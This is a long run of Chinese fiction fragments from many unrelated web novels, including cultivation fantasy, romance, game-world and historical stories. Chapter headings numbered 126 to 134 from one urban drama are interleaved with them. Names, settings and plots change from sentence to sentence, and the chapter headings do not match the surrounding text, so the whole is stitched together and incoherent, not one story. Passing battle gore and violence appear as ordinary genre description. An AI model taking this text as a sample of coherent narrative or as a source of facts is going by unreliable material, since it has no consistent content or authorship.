“是呀,第一次这么静心地看着这日落之景。”林月如两只美眸散发出一丝清澈的柔光。 一声轻响,沈毅和克里斯蒂娜同时对着面前的空地吐出了一口鲜血,所有人见状,都是想要过去帮忙。谁知,两人又恰巧同时对着美乐和那四名半步天武者挥了挥手,示意都不要过来。 抛开战斗实用性来说,兔子和精灵倒也是一对挺般配的组合——他们都有着一双尖细灵巧的长耳朵,这显著的特征让人很那不疑心这两者之间或许真的存在着隐匿的血缘联系。 高明说你知道我没管吗?我去你们家,你爸你妈根本不让我进门!怎么说我也是乔乔爸爸,她病了我都不能去看看她,你们这样做就一点没觉得过分吗? 顿时,谢夜雨双手一合,魔气一运,过了五秒后,双手一推,一道光芒就出现在了大汉的头上,将他被毒液伤害的身体,慢慢的恢复了过来。 “水晶棺!”钻地鼠已经发现了前方的水晶棺,水晶棺底儿朝上趴在那里,有了刚才的遭遇,几人再也不敢轻易靠近。 “这个服务生叫山田光子,曾经在这家酒店工作过的,这是她在酒店里的照片,那年大概是二十多岁吧。”陈莉莉说道。 “不是,是家师有一点威信,所以他们才会愿意听。”楚仙师说道。 于是,谢夜雨右手一挥,顿时,一只火红色的神兽破开空间,出现在了他的身后。神兽身影的出现,一下子牵动了所有勇士的目光。 路上行人过来一看,便看到了此人脸上的两个巨大的“黑眼圈”。 但是神族单位的个体实力强悍无比,只要“能量矩阵——防护罩”在被敌人耗光之前,他们就是无敌的存在。 这也难怪,除了父亲这个角色以外,老爷子还是楚家的一家之主,或许当年在做决定的时候,他才是那个最痛苦的人。 宋铭目呲欲裂,看着那一对硕大无比的拳头在自己瞳孔中放大,刀风吹刮在脸庞,心脏几乎都要跳了出来。 第一卷 第126章 过河拆桥时,咋没想到这些? 林泽也感到意外。 张军被周局长轰出来,专门找他诉苦。 所以,局里的态度,林泽是清楚的。 可看眼下这副情形,好像有点不对劲。 还没仔细观察,周局长已经直奔他而来,隔着一个茶几,周局长已经热情地伸出双手。 如果不出所料,只需一年的时间,杨坚便可以独占三市之地,坐拥上千万百姓,手下兵精将强,基业便初步定下了。 第二天一大早,超过二十九大军便聚集在了校场,包括了五万名白虎护卫、一千九百名九黎兵、六千九百名神农弓手、七千二百名祝融兵。 自从陆子翊来京后,朝中的另一位大臣金翰林,日子也过得来不平静起来。 黄泰山只觉胸口一空鲜血涌出,连忙扶住胸口自我恢复,灵气断断续续游走全身回归心腹,好在百里舟并不乘胜追击,留住了他的一条性命。 他们只希望今后不会再有战争和杀戮,亲人不会再平白的死去,牛羊可以安心在湖边吃草,这样的生活足以。 如果想要进一步的维护稳定,还可以进行移民交换,从汉部落移民到竹岛一部分,从竹岛移民来汉部落一部分,互相一掺和,那就更不怕会出问题了。 或许是因为江木涅槃的原因,其道果所处的山河比之一般的地域,其灵气都要浓郁不少,因此引来了一支修士在这里建立村落。 虽然她不靠玉佩也能做很多事情,但她还是离不开这块玉佩,可能是因为这块玉佩给她带来的心灵寄托更多些。 “没错,你终于说对一回了,这也正是我想要的结果,先让他们两个打着去吧,以后的事情等我们明年腾出手来再说。”罗冲赞赏的夸了鼠大一句,让这个身材壮硕的大汉也不好意思起来。 蒋直声音虽然不大,可到底云周距离也不远,自然也听到了,而且蒋直本来也没打算瞒着云周的。 “哈哈,那你猜猜,设计这两个建筑的设计师是谁?”张清平问道。 节南陡觉近来最常看到的就是执念,连王泮林都无比执着起来了,竟然要重返官场? 幸好现在还有龙雪雁与我相伴,否则我真不知道该如何去面对接下来的种种困难。 而想要团战胜利的话,那么印洲队就必须要争取到英雄们的力量,来分担与北美洲队战斗时的火力,才能让印洲队有信心与能放出那么多虫子怪物的北美洲队对抗。 如果说公司还有其他组能中鸿基广场那个标的话,那肯定就是二组和三组了。 因为不仅仅有好客的地球主人来参加,还有受邀前来的邻居新星军团也一同加入了狂欢的海洋。 在这个信息大爆炸的时代,作为拥有酷龙手机的时尚一族,他们都是非常关注市场潮流的,对于近来十分火热的高科技产品,磁悬浮滑板,自然是熟悉不已,再不济也是有所耳闻。 节南正想上墙,忽听身后脚步声,不禁长叹一口气,回头认命看去。 在经历了一系列的动荡与祸乱之后,这座屹立在沙漠之上的亡灵之城哈姆纳塔,风停沙落,云开雾散,终于是恢复了暂时的安宁与平静。 然后大眼睛忽闪忽闪的看着我,那样子可爱的实在不忍心指责她一句。 第一卷 第127章 我认识那女人,那是我上司! 他奔向最弱的,但心里算计的是最强的,他要露出破绽,诱敌深入。 差六百多的好感值,除非越级杀死三名高手,或连杀六名活人玩家。 而他那戒备的姿态,只会让人更想要在他脑袋上去“胡作非为”。 周围七八台摄像机对着他,估计不仅仅是整个东川市上百万人的目光此刻都聚焦在他身上,怕是全球几十亿的人类目光都聚焦在他身上了。 朱炔怅然,有些失落,他答应苏唤前来,为的便是那错综复杂的机关总术。 “团长这两天不知道去哪了,估计还不知道。不过这件事又不是什么秘密,团里的成员基本上都清楚,等团长回来应该会有人第一时间上报的。”拾荒队成员回道。 萧宸玖黑着脸渡步过来,单手拎住萧岩诩的后衣襟,沉默地拖着他往门口走。 一般用于雇佣关系,让互相之前达到一种契约联系,即便远在天边也可控制对方。 只要能拿到灵兽蛋,他就能够让那些灵兽蛋孵化出来,到时候陇西城就将拥有一批灵兽作为交通甚至是战斗工具。 “在拥有绝对实力之前,吸收自然能量这件事只能缓慢进行。”姚发不想制造出太大的动静,引起藏在火影世界的那些老阴比的注意。 从走廊里走出来,安琪伸手抚了一下刘海,她这才发觉,原来自己早已满头大汗,都是被吓出的虚汗。今天是靳大森的头七,万一他的孩子有什么损伤,她恐怕会连晚上睡觉都不敢吧。 见大势已去,高洋心中一狠,拼杀着向孟承欢冲了过去,周身突然金光大方。 铭城别墅。在他们都走了之后,瞬间又恢复到他们没来之前那般静谧,空气里除了飒飒作响的风声似乎就再也听不见别的声音。 但说,一下子出现三个,并且还是在一起,他们就觉得有些荒谬。 慕云澄了解莫弈月,知他心中已是做好安排,便安稳坐下,百无聊赖的看着下方的歌舞。 此时慕云澄的内力已然耗尽,接过身后云遥的瞬间,神炎真气随即如秋蝶落叶一般飘摇散去。若非苍云护持,他此刻想必早已是坠落下去,葬身茫茫大海了。 “你心里一定有事。憋在心里难受却又不想和我说,对吗?”莫弈月的双眼仿佛能看穿慕云澄的内心,吓得慕云澄连忙转过头去。 但今天他上官家的人,绝大部分都来了赌石街以及酒店,就是为了这场盛会。 “乾坤逆转”是百变生的独门秘术,曾被他父亲刑羿尊为时间法术中的至高绝学。 “既然如此,那我改变主意了,你帮我做两件事。”叶云琛的眼神里透着诡秘,那犹如地狱里勾魂使者般阴森,冷不丁地让许言感到寒冷。 不知道为什么,听说伍明哥出家,方自归心潮有些澎湃。怀着这样澎湃的心情,方自归抱着一堆婴儿纸尿裤到了应辉家。 “你说到这里我刚好想起来了,病人每一次大出血的时候我们都没有为病人检查,都忙着给病人处理出血去了。”赵老在一旁说道道。 李悦顿时有些担忧的看向苏天元,她是知道,科研人员一般都不能喝酒,何况是苏天元这样的年轻的顶级专家,更应该滴酒不沾才对。 眸光流转,岁月长河在起伏,那种气息让周围的生灵直接颤栗,不受控制的跪伏了下去。璀璨的神芒爆现,恢宏而磅礴,远隔无限宇宙,都能破碎天地万物,无比强大,无坚不摧。 来到这儿后,她感觉傅伯舟对她包括琅琅和豆崽都挺周到的,爱护也到位,哪怕自己对于生活上边的事情一窍不通,但是也在尽力地对待他们好,所以日子才这样好过。 后来国家提出了高铁发展战略,未来十年要建数万公里的高铁,如此广阔的市场,立刻把全世界高铁制造商都吸引过来,什么德国西门子,岛国新干线以及法国的企业。 当然以上数据完全是义肢本身的数据,绝大部分义肢植入者都受限于接合部位的脆弱,无法完全发挥义肢效果。 但此刻,在知道她四叔已经带着家人离开了周家之后,就算她再不愿意相信,也不得不接受眼前的事实。 “抱歉,我们今天打烊了,糕点师临时有事请了假。”一个穿着不合身店员服的特别课士兵挂着敷衍的微笑试图拦住往里闯的高中生。 挤进了窄门,首先映入方自归眼帘的,是禁止携带易燃易爆物品的宣传教育。这些图片,明显与即将到来的重大节日的气氛不符,但是,这倒也预先暗示了人们:春节乘火车,是一件恐怖的事情。 “燕姑!”楼归景露出自己的不满,她竟然不顾及他在,直接想要对云溪动手? 他们有的中箭而死,有的被直接活活劈开而死,有的被砍死了之后肚子里的内脏流了一地……还有半截的旗帜燃烧着,空气中飘来尸体的恶臭味,大地都被鲜血浸的发黑。 这话说的某位爷脸色越发的黑了几分,相应的,徐家自然也遭了殃。 “连家他从来都不知道连家也有谁生病了,保密工作做的实在不错。”许炜也不是八卦的人,他知道后也没细问季云溪。 乔诺顿时慌张起来,想重新换一身衣服,但又怕陆云铮等太久不耐烦了,会把孩子带回去。 她之前根本就不知道他还有个爷爷,以为那一家子都跟他不是一路人。 “我知道。”乔诺的手环住陆云铮的腰,脸贴在他的胸口,闻着他身上淡淡的男士香水的味道。 日落山头,本家平静一些的皇城,又隐隐躁动其阿里,短短一天,皇上痛失两位爱子,早上六皇子的风波还没有过去,下午便传来十皇子的噩耗。 西野家族就在讨价还价中让大家看笑话。不是挺逼格,还什么价。 “杜老大,我们基地被人发现,现在有陌生人闯进来。”艾克回头看了一眼杜安说道。而现在橡胶园里响起报警声,说明闯进来的人自然不简单,要不下面的那些金三角军人肯定会去解决,不用直接报警通知他们。 第一卷 第128章 表扬信,不是我写的。 唐若涵嘴唇翕动,脸色逐渐泛白。 拿爷爷的病情做文章? 勒索……五十万? 还有那人所说的细节,不就是那天她和林泽吴庸之间经历的吗? 唐若涵努力平复情绪,可心跳却越来越猛。 猛地将杯中红酒饮完,由于用力,唐若涵的指尖都开始变色。 这时。 到了地方。拉克丝歪歪头看着萧然,一副我已经准备好的乖巧样子,看得萧然也是不由得一笑,不管拉克丝到底是个什么样的人,但起码在萧然面前表现出来的这副模样就真的像是一个乖巧的晚辈一般让人挑不出任何毛病。 章德承的医术高明,乃是赵大力亲眼所见,相较于温采宁这个误诊了赵俊臣病情的庸医,赵大力也认为赵俊臣的情况应该交由章德承来诊断。 但杨泽却出奇的能记忆起那些所有的回环往复,仿佛在这一刻将记忆力发挥到极大的水平。 它是无数年前,一位来自黎明之塔的半神级寒冰法师所留下的,用的是非常高深的寒冰魔法,冰山本身能够吸收能量、震动等一切冲击,不仅不会碎裂,反而能够强化自身,变得越发坚固。 一把通体呈现漆黑的色泽,光是刀身便有接近一公尺的长直太刀。 在这样的情况之下,他们看到了自己这里去和林封交谈,而且,如此的隐秘,那在他们这里,他们这里恐怕也是会在如今的这个时候,不知道会给太子怎么说。 那么,作为不完整的世界,『世界碎片』是不是也不会拒绝诺亚的请求呢? 而现在很明显不得不让她去正视。这个时候有侍从凑到她耳边,低声说了些什么。大公主华婉的表情明显凝固了一下,再度看着杨泽的时候,惊异不定的眼睛里,竟然缓缓生出了一丝嘲弄。 但受虐待的魔兽不能不管,约克那边自己也要想办法助他一臂之力。 而这时,大量在灰烬之地外围观战的玩家,正在想方设法地弄清那位牧师的身份,但连处在核心战场的破晓晨曦都看不清,他们离得这么远更是根本不知道那是谁,不过这时他们也都是逐渐寂静了下来。 可是后来偏偏程紫璃就越发展越好,现在也成了有钱人了,若单论资产可能跟他都不相上下。 霍北萧以为自己已经不在意了,可是到再见的这一刻,他的心绪又再一次的开始翻江倒海。 几十年过去了,部落人丁后兴旺,牲畜繁多,人们的日子像山洼里盛开的大百合,越过越红火。 长歌和沧澜闲谈了几句,谁料怡梦苑那些花娘一个个都盯着林言琛看,长歌心里那股不爽便又出现了,只是微不可查的一点罢了。 在观众们还在回味程紫璃的精彩演出的时候,沈默默等人的集体舞蹈表演也作为本次大赛晚会的压轴节目出场了。 今天这个消息,的确让人很震撼,裴冉都不知道这对阎家是好还是坏。 程紫璃轻笑了一声,她的笑声里也听不出是轻蔑还是嘲讽,总之王晓涵听着十分的不舒服。 不过她内心也是极内疚的,觉得对不起新认识的两个朋友,让她内心相当的矛盾。 光华公主对我们说:“这都是古神传给我们的,因为我们也不知道历史是什么,只留下这些线索。似乎这些历史故意被抹掉,不像让后人知道。我们都想找到历史,但是没办法,还有一个太阳神的故事。 第一卷 第129章 她要告别过去了? 不是她,那是谁? 张军怔住,眉头跟着坐起来。 伸手抹了一把脸,张军理了一下思绪。 “赵夫人,您刚才说,表扬信不是你写的?” 为了确定刚才没有听错,张军又把老太太的话重复了一遍。 瞧见这一幕,梵清惠叹息一声。心道这真阳之火还未完全融合,自己心境刚刚突破,距离圆满还有许久。想要无声无息魅惑他人,却是颇为艰难。 霎时间,残存的数百清兵如同河岸上被惊飞的水鸟,唰的一下就四散而逃。特斯河的东岸上,几声零星的枪声随之响起,又有几名跑在最后的清军被从马上打落在地。 邓飞说走就走,他立刻通知了两条机帆船,让他们留在这里把手入海口,同时监视西山军的动向,然后雷神号便起锚出发。 谢沂舟真想掰开傅沉洲的脑子看看,里面是不是装满了恋爱两个字。 “说什么呢?谁一惊一乍了?”两人转头一看,刘思婷刘大主任走了进来。 一股无形的压力从那黑衣人的身上袭来,他似笑非笑的表情也像极了一个露出了獠牙的狮子。 原本他无意闯入这个时空的时候,只想着发财之余填补空虚,抱着行善的心态救流民出苦海。带利吉他们找个没有官府欺压的地方,自己顺便搞点金子回去花。 魔道中人本就不受约束,无法无天。不说练个辟邪剑法实力大增之后还会不会听话,光是练他们大多数人都不可能去练。 如果那个时候她参加了,即便不能夺得钢琴大赛的第一名,他也会考虑收她为徒,让她加入他们京城钢琴协会。 因此,在队伍抢到网线后,在使用的同时,还得有人防备其他人来抢。 “我都听我妹的,这位帅哥试试呗,醉了也不要紧,不是有我们吗?”周栾九在一边看热闹,听到自家妹子点到自己的名字,不嫌事大的也一起怂恿。 果然如肖衍所说,当魏庆把这件事告诉给孙建业后,孙建业还真的没有放在心上。 他的声量不算太高,可也不低,至少半数道生都能听得到,朱智慷本就背的不大熟,直接被魔头的一嗓子吼断了思路。 项尘伸手抓住了他膝盖处的裤腿,但朱正烈嗤笑一声,便挣脱开了。 她不信神佛,也不相信这世上有鬼。可是猛不丁的被吓了一跳,还是怕怕的。 博物馆台阶很多,庄严巍峨的伫立在宽阔的柏油路的对面,路边有绿的发亮的法国梧桐。 更高境界的大门,在他眼前不再是若隐若现,而是慢慢清晰起来。 她被那苦涩的药汁一激,险些吐出来,李祈急忙用手捂住了她的嘴,看着她咽了下去,才肯松手,不料刚一松手,卢悠悠就在他的手上狠狠咬了一口,然后一把把他推开。 紧绷的心弦在这一刻忽然就放松了,陆彦墨紧了紧身上背着的包袱,昂着头朝家里走去。 高宁带着护卫军在海上转了一圈,再回到码头之前,出动的火箭飞行兵部队,就已经开始在空中定点清除官兵了。 换句话说“她”并不是不想和人组团,只是不想和没能力的人组团,这就很合理了。 乔沐就大步来到迷你金刚面前,从容地给自己喷上了一层白漆,完全地解除锈病毒的危害。 第一卷 第130章 林泽是什么人,我比你清楚! 拿起酒瓶,吴庸倒上一杯葡萄酒,喉结微动。 “小涵,一直以来,我对自己要求的非常全面,这就像本能一样,也正因为如此,我才能完美的出现在众人面前。” “对于感情,我更是如此,我不仅念旧,而且专一。” “你知道我对你的心意,所以,你可以放心大胆的把后半生交给我,有我在,你将不会再是孤独一人。” 话说到此。 “你不知道,追魂咒很厉害,不管我在什么地方,他都能找到我。”司浅浅有些绝望的道。 对于明德堂和史莱克魂导系的对比,在戴华栋的眼里,这根本就是工业革命时期的实验室和二十世纪的实验室的对比。两者差距略大。 之前沈严跟中介说要找警局附近的一套两室一厅的房子,工作人员已经调出了符合条件的房屋信息,程晋松看着屏幕上的一溜信息,逐个筛选。 吴阳的手上蓝色光芒一闪,一颗黑色的珠子出现了,剑之系统的系统之核。 而此时,华子清却是认定了他,走到哪跟到哪,张浩不出现,华子清是不会放过他的,当然华子清就算再嚣张,这会也不敢再对左飞出手。 终于,咒语结束,那人拿起一个精致的玻璃杯,将里面的液体倒在蜡烛上。 虚影是在吞噬了宙斯那个老色鬼后,从宙斯的 记忆中得知的。当初宙斯执意要同时娶雅典娜和潘 多拉,虽然一方面是因为宙斯是老色鬼,但更重要 的却是因为雅典娜和潘多拉身上的那个秘密。 “喂!”沈严翻了个白眼,程晋松哈哈大笑,另外两人也笑了出来。 灰尘散去,童蒙身上微微亮起的光芒,犹如点点繁星,玄奥无比。 但很多时候,大家都只会说学校里的知识没用,社会里的知识有用。大家都只是用这句话来偷懒,而不是直接扔掉脑子里的扭曲。 他百无聊赖地继续转动炮塔,寻找着可疑的目标,突然,他发现了不寻常的一幕。 而现在,希瑞克抛出了更广泛的雅利安人的理论,只要是为帝国做出突出贡献的,都可以成为雅利安人,用这种手段,来拉拢一批人,给他们洗脑,让他们为帝国做贡献。 苏扬所说的标准,是中国LPL联赛的上单在训练情况下,在一种无压力的对线情况下补刀的基准线。 安提俄珀认为只有戴安娜强大了,有自保力量了,才能防止其被战争之神发现。但希波吕忒反对,她坚持戴安娜越强大,越容易被战争之神发现,所以不让她习武才是真正的保护她。 而钱鹏的形炫模特公司,属于是正经牌照经营的模特公司。公司下属:表演模特,T台模特,平面模特,以及电视模特几个类型。 一上午的赶路,所幸进入八月份后天气凉下来,太阳没那么耀眼,凯洛特看到在他们左侧正有一队人在靠近,于是停下了前进的步伐拿起武器或是打开法杖卷轴,准备迎敌。 杰伦一看莫奇轻松自在的表情,再想想对方的神奇,也拿起绳子,开始绑莫奇的双脚脚踝,用力绑了好几圈才罢手。 凯洛特一拳再度击飞冲上来的半龙人,他当然注意到了这个还在操作的人,这是不允许的。 那磨石大汉眼里闪过一丝惊讶,他忍不住上下地打量了一眼杨天,最后又继续开石。 只是……白亦行目光又落在云舒身上,这个丫头真是兔子一般的胆子,也不知是怎么想的竟然进了秦楼。 第一卷 第131章 我伤害了你,可我是为你好。 吴庸怔住。 唐若涵的话语当中也夹杂了一丝疲惫。 “这三年当中,林泽确实没有出去工作,事业上也没有成就,但是他的人品是什么样的,我清楚。” “王爷可在府上?我有件私事,要请王爷帮忙!”楚风向庞管家询问道。 她红着眼眶,踢开被雪花打湿的枕头,一边哭着,一边拉他进门。腾出一只手,狠狠地抹了一把眼泪,倔强反驳。 姜维扭了扭脖子,长剑抵在这刀疤汉子的脖颈上,一脸阴冷的说道。 她的笑容很灿烂,只着了淡妆,化着可爱的口红,眼睛又闪又亮,可爱极了。 这里是蜜月之岛,情人之岛,很多情侣或者新婚夫妻都喜欢来这里。 明磊落缓缓的下楼,看到弟弟妹妹们都看向自己,对他露出大大的笑容。 浩白看得无语,韩梦欣根本就没喝,只是用灵力包裹着那一杯酒,还自以为他看不出来。 正当我们三个在办公室讨论这个F租宝理财的问题时,就听在警局外面马路上有哭喊声,我朝着窗外望去,十多号人浩浩荡荡的往警局走来。 “两位请坐。”李先生做了个请的手势,一双眼睛却在李乐琴身上扫了一圈,浑浊的老眼中露出几分贪婪之色。 九皇子高高在上,优越感十足,仿佛要把这些年被楚风的光环所遮掩的郁气,全部倾泄出来。 目睹了这一幕惨剧,罗正道连忙重申了自己的命令,把模糊地带也剔除干净,这帮手下根本不是星潜者的对手,与其留下除了给他添麻烦,不如全都走掉落得个眼前清净。 总之,在这里成立公会不是写个名字就可以的,要满足几个条件才能建立最低等级的公会。 “不要怕,就算暴露你是暗黑料理界的人,我们也不会对你怎么样的。”孙悟凡语气平淡地吐槽道。 “这、这个是我那时的情况,还有心声您果然能听到吗!?”立花响一脸希冀地看着孙悟凡。 非常爽,难怪别人都是说狐狸精的,这人形狐狸的尾巴摸着的确是很舒服。 逆回十六夜刹住脚步,看着河水不断往下流的悬崖绝壁。这里很明显是天圆地方的世界,这样子还不算世界尽头的话,那“徐凡”所说的尽头又会是在哪里呢? 片刻之后,孟皈再次起身,把主控室几个舱门全都关上了,虽然不知道还有没有别的通道会让怪物漏过来,至少在这几个舱门关上之后,可以让孟皈在心理上感觉安全了一些。 穿行在一人多高的茂密水生植物丛中寻找缝隙,走着走着罗正道恍然一抬头,他的视线透过附近的开阔水域窥见了远方高大石砌建筑的一抹剪影。 一道无形气劲直轰孙悟凡面门,但却被他屈指一弹,将之弹了回去。 他一直都是那么孤独,他选择了最聪明,也是最愚蠢的办法,那就是逃避,那就是活着。 “领域化实!”感受到刻骨的灼热,荒之分身赶紧御使出自己的空间领域,看向紫元莎的目光也多出了一丝惊异。 眼见南风打定主意不想多说,吕平川等人也不再为难他,不过有些时候不说也能说明一些问题,南风自始至终没有提及与胖子和吕平川有关的阿月和燕飞雪的情况,这便说明他很可能已经对此进行了某种应对和安排。 第一卷 第132章 在挨饿和倔强之间妥协。 今天在医院里,爷爷又提到想回去。 林泽虽然答应,可内心却沉甸甸的。 依照爷爷现在的身体状况,如果要回老家,绝对是非常冒险的。 可是。 林泽不想让爷爷失望。 所以静下来以后,林泽开始思索,如何才能有两全之法。 老家的医疗条件自然不比东海医院,可爷爷若是郁郁寡欢,对于病情的治疗上也极为不利。 猩猩怪没有说错,它现在不过还是半步神皇的境界而已,距离真正的神皇还是差了一点距离。 在座的每一个学生,腰板挺直,浑然不敢多说一句话,之前睡觉的学生,现在也坚强地挺直腰板,喜欢窃窃私语的,也闭上了嘴。 罗尼这个唐人街警局的局长,此时居然开始跟萧尘努力的解释了起来。 “那,这归隐的老城主,实力如何?”江晟当即就忍不住的问道。 本来一些低阶位面,如“喜羊羊、熊出没、情深深雨蒙蒙”等,如果进入这些位面,需要的杀怪值见证点是相当少的,换算成华夏币也就是一百块左右。 为了确保此次行动的绝对安全和保密,南宫求干雇佣了三辆相同型号的客车。 抬头望天,听着直升机发出的噪声渐渐远去,大家从始至终都没见到天空中飞机的影子。 另外一路兵马还在调集训练,没有三五个月不可能开拔过来。不过呼延灼可不等这些,带着两万兵马直奔威胜。抢功一样,生怕得不到好处。 原本楚君准备等到修真门派的弟子选拔的时候拿出才的,可是因为叶天的原因,他不得不提前交给了楚安康。 用力的握了握拳头,黎东的确是感受到了现在的力量和之前的力量完全不同,一个是在天上,一个是在地上。 血脉神力被圣殿大力抽出化作牢笼困住堕神巨蛋,天虞在意识到囚牢后,在蛋内调动所有力量反抗,两方正处于胶着状态,青辞他们稍一松懈,就会被对方抓住机会破开囚牢。 要知道他现在所计算的,是经过炼化过程减去消耗,并且是以他永恒巅峰实力来计算的本源积累速度。 “一同?什么意思?”柴宏望了孙彦一眼,继续喝着水,也不知为何今天口渴的很。 她已经感觉到凌厉的视线落在这一方,紧跟着周围的水汽聚拢成牢笼包围过来,这水汽蕴含的力量,远非四公主可比,天罗地网,眼见无处可逃。 话音刚落,身后突然传来一股破风声,齐大犹反应迅速,脚下一动,与狼枪擦肩而过,后者身子一歪,再次摔在了地上。 等他回过神来,鼓着微微发肿的脸向下看去,那三个倒霉蛋已经瘫倒在地口吐白沫了。 午后的两个时辰是一天中最热的一段时间,哪怕是已经入秋,空气中也是散发着一丝闷热。 “既然喜欢,那以后就留着,好好陪你的柴萱姐姐。”磁音入门,柴萱还未反应过来,曹丕已经到了跟前。 一边嘀咕着,华辰一边已经起身走到了门口,轻轻推开门之后,径自朝着;楼下走去,答应替柳擎解决痘痘事情,他还没去办呢。 漆黑的水晶盔甲上,燃烧着熊熊灭世之炎,一柄柄长达数千米的利剑倒刺从各个关节刺出,狰狞骇人。 方楠感觉自己的身体不能动弹,一种从未有过的无力感,从心底升起,但还一直在笑,并且是看着他在从容的笑。 第一卷 第133章 今天晚上,将就一下吧! “当然。他们很聪明。应该说,他们只求有一个良好的环境,可以像正常人一样生活、学习、工作。”他们的要求在旁人眼里或许很简单,却对一出生就是孤儿的他们来说却是一个奢求。 天下无奇不有!明明是交钱买的房子”却因为开发商和包工头之间的矛盾”无法正常入住”只能行非常之道。 席以箫放下手里的儿子,席澈开心地奔向了两个大他四岁的哥哥,“哥哥,走吧。”一左一右地拉着他们的手,欲要跟在席以箫身后出去。 老流氓以这种方式,向外界传达自己的想法,当然马上收到了“外界”的回应。 于是,最怪异的一幕出现了。所有的种族都在寻找一个新诞生的种族。他们的目的一样,想知道这个种族具体情况。 两人随便选了一家酒吧,酒喝的不多,主要是为了打发时间而已。 前线的战事到底惨烈到了何种情况高桥申一确实并不清楚,不过后运的伤兵和军官尸体都挤满了车皮,少将旅团长都给人家给打死了一个,大佐、中佐、少佐死了一堆,承德之战的惨烈已经让高桥申一不寒而栗了。 只见,这时候的叶残雪,双眼还是死死的盯着蓝儿手中的白光。丝毫也没有感觉到自己手上那团白光的变化。 凌风知道诸葛老爷子要发话了,倒是‘花’中华一点也不避嫌,看来两家关系确实不简单,说不定还与‘花’家有关。 就是在寻离开医院,去到寻这边的时候。那同样离开了医院的季商南,则是开着车,暴怒的想要立刻找到付芯蕊。 “废物!”看到狗头就是狼狈般地爬到自己跟前,玫瑰就是冷着脸孔,冷冷说罢后,紧接着就是右腿一个飞起,顿然间,狗头还没来得及反应过来,顿然脖子就是出现一道血痕,紧接着一股鲜血就是喷出。 样式和颜色不一样,其实不过都是一块能够遮住下方身体的布而已。 “修儿,你这话的意思是你已经踏入圣境?”听到欧阳修这话,欧阳锋就是一怔,眼中已然闪现一丝精光,道。 杨胤坐在地上,回想着之前发生的一切,想到被雷电击中的时候出了一身的冷汗,鸡皮疙瘩掉了一地。 苏念笙被几个连续的巧克力吻弄得浑身无力,险些缺氧,薄野抱着她去洗漱,挤了牙膏,一手搂着她一手刷牙。 她脸色苍白到近乎透明,一双眼睛睁得极大,红通通的,有温热的泪水涌出眼眶。 北杵少是北杵家无数不多最有特点的一个,他老子北杵道,在北杵家也是一个特殊的存在。 三个男人齐齐占了潇潇最好的空间,就留了最后背的一个位置给他,于是,帕尔直接采取措施,二话不说直接挤上去。 人君大人和秦川示意一下,走向那个大门,因为他们还想看看是不是有什么办法重新打开大门,毕竟五行莲花是个巨大的诱惑。 不过众人并没有轻举妄动,因为想要看看这些家伙到底要做什么。 也许他们此刻还心怀忐忑,就连多年以后二人回忆往事,想起今天的对话也是满脸的自豪。 也很正常,一个是经理人,主持星娱的所有工作,历练一年多的时间,已经可以独当一面;另一个只是空姐出身,踏足娱乐圈后,也因为被保护的很好,除了唱歌拍戏,根本没经历过大场面。 两句话出口,林雪莉转身就走。不走不行,林雪莉不敢保证自己继续看着那死丫头会不会气爆肚皮。 然家主的双眼闪了闪,冷哼一声又赶紧朝着然家的方向返了回去。 “……不停给自己找事情做哩,工作也好、学习也好、打游戏玩儿都行哩,人哩闲下来才会胡思乱想。”邱枫烈说了自己的真实做法,现在她也是这样让自己忙起来的。 他也很清楚,自己这一次,指不定真的要完蛋了,内心也不由得恨了起来,妈的,这怎么就捅了个马蜂窝? 的学习成绩好,身上也带着一种儒雅的气质,压根不喜欢何进这种看起来流里流气的学生,在她看来,这种学生根本没有什么未来可言。 没错,这是陈伟鸿内心真实的想法,肾长在他的身上,他为什么要给别人? 按照苏尘的估测,如果没有隋败和吴吞的刻意破坏,自己抢到9道、10道一点问题没有。 果不其然,金蜂湾部队是茉维依她们整出来的,使用的军用语言规定为汉语,所以现在邱枫烈自然可以跟她们两个流畅交流……而格伦儿也自然而然地就会了汉语,加入谈话,邱枫烈对此已经不再奇怪。 我好想回家,好想见到爸爸妈妈。在这个地方我生活的很不习惯,也没有一丝的依靠。可能只有在夜晚,夜深人静的时候,才能想到这些吧。 直升机降落在庄园的停机坪上,保镖上前打开舱门,从直升机上下来一个高大男子。 就像是导弹当空炸开,那只可怕的肉掌直接将方圆千米打成一片真空,发出轰传百里的恐怖巨响,卷起无边风云,直冲那道裂缝。 就在李治忙着准备登基大典事宜之际,大唐国舅长孙无忌却来到了清河县。 这座长廊环境优雅,极为精美,想必闲暇之余,在这里呆上一晚,定然是一种享受。 接着,方霓一脸丧气的走了出来。“没事,第二名已经是很厉害了嘛!”见方霓沮丧,方霓的师兄们便安慰道。 敢在长孙面前如此说话的也就只有李治了,长孙很喜欢这种感觉,如此才更像是母后。 铜锤一脸伤心的样子,她想哭,可是流不出眼泪来。我知道,鬼是没有眼泪的,但是我也能体会到她内心的伤痛。 第一卷 第134章 为什么非要林泽的房子? 还有另外一个声音弱弱地说:我是打酱油的,你不用管我,继不继续注入,我都可以接受。 “到底是谁?谁有这么厉害,邪木云,我自认为我激发神之血脉也难伤他分毫,究竟是谁!”铁木云皱起了眉头。 好在莱斯已经被渡化,成为了自己的手下,想必他应该知道将军的住处,于是向莱斯询问有关将军的这些信息,莱斯也是知无不言,言无不尽。 纪心凉看着萧琰点了点头:“那我出去了。”说完,纪心凉就走出了总裁办公室。 冥心伸手指了指前面,我看着伸手不见五指的前方,眉头紧紧地皱着。 君无疾嘴角的邪气又重了几分,眸底染了三分戏谑之意,看起来妖孽极了。 “明珠!明珠莫哭!盆疼!”老窦显然很疼爱薛明珠见她哭了,忙手忙脚乱的安抚着道。 吴菲菲呼吸一窒,她确实是想报复陆棠棠来着,可是眼下的她,有这个本事和资格报复陆棠棠吗?没有,她连活下去都成问题了。 厉家的大门只有白天是敞开的,晚上基本都放下了闸门,宫野并不能长驱直入地闯进来。 冥雪兽没有错,所以不该受到伤害,可是,并没有人要去伤害它,不是吗?我只是想要从它那里取一滴眉心血,来救我的孩子,仅此而已。 为了队伍的输出最大化,他们这次都没有带牧师,而是选择了现阶段输出最高的法师职业。 “烈焰爆破!”面对着黑色的火凤凰,布鲁不由得催动了自身全部的异能力,经由自己身上的铠甲增幅之后,释放出了自己威力最大的招式。 赵桓想起此事,怔怔不语,瞪大着眼睛直愣愣的看着他们;高俅、童贯等人也傻了,以此类推的话,只怕皇上知道的事情比他们想的更多,而这一切宋徽宗又不能亲自出面,故而派出赵构以监察御史之名,查处其中的真相。 叶南笑着摇了摇头,也没有在里会斗嘴的两人,直接走出了山洞。 